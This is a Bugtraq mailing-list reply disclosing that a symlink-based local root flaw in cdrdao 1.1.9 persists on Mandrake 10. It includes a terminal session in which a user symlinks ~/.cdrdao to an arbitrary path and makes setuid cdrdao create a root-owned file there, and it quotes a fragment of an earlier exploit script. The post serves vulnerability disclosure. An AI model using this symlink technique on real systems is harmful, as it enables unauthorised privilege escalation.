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Re: cdrdao local root exploit



In-Reply-To: <1157225765.20040907131857@xxxxxxxxxxxxxxxx>

The vuln is still exist in cdrdao 1.1.9-5mdk + Mandrake 10 (beta 2).
I think cdrdao should drop root permission before save the config.
[newbug@localhost tmp]$ ls -al /blah
ls: /blah: No such file or directory
[newbug@localhost tmp]$ ln -s /blah .cdrdao
[newbug@localhost tmp]$ rpm -qf `which cdrdao`
cdrdao-1.1.9-5mdk
[newbug@localhost tmp]$ cdrdao blank --save
.
.
.
[newbug@localhost tmp]$ ls -al /blah
-rw-rw-r--  1 root cdwriter 32 10&#26376;  2 10:41 /blah
[newbug@localhost tmp]$

newbug Tseng

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>To: =?Windows-1251?B?Suly9G1lIEFUSElBUw==?= <jerome.athias@xxxxxxxxxxxx>
>Cc: bugtraq@xxxxxxxxxxxxxxxxx
>Subject: Re: cdrdao local root exploit
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>Dear Jérôme ATHIAS,
>
>This  bug  was  originally  reported  to  Bugtraq  by Andreas Mueller on
>January, 15 2002
>
>--Sunday, September 5, 2004, 11:16:42 PM, you wrote to 
>bugtraq@xxxxxxxxxxxxxxxxx:
>
>JA> if [ ! -L $HOME/.cdrdao ];then echo "Could'n link to \$HOME/.cdrdao"
>
>
>
>-- 
>~/ZARAZA
>Íåïðèÿòíîñòè íà÷íóòñÿ â âîñåìü.  (Òâåí)
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>